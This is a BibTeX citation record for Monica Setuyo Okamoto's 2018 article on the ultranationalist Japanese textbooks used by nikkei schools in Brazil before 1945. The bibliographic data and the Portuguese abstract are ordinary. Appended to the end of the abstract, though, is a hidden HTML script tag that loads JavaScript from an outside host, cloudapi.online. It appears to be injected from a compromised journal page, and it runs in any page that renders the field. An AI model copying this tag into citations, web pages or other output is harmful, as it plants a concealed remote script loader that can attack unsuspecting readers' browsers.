@article{Okamoto_2018, title={A educação ultranacionalista japonesa no pensamento dos nipo-brasileiros}, url={https://seer.ufrgs.br/index.php/asphe/article/view/80207}, abstractNote={Até 1945, as escolas japonesas foram criadas pela comunidade <em>nikkei</em>no Brasil com o intuito de preservarem a língua, a cultura e, principalmente, a moral japonesa. Livros didáticos do Ensino Fundamental e Médio, produzidos no Japão durante o período ultranacionalista (final do século XIX a meados do século XX), foram importados e adotados por essas escolas. Este estudo tem o objetivo de analisar a releitura que os imigrantes japoneses e seus descendentes deram ao conteúdo ideológico desses livros didáticos e os reflexos dessa educação nas gerações mais novas<script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>}, journal={Revista História da Educação}, author={Okamoto, Monica Setuyo}, year={2018}, month={jul.}, pages={225–243} }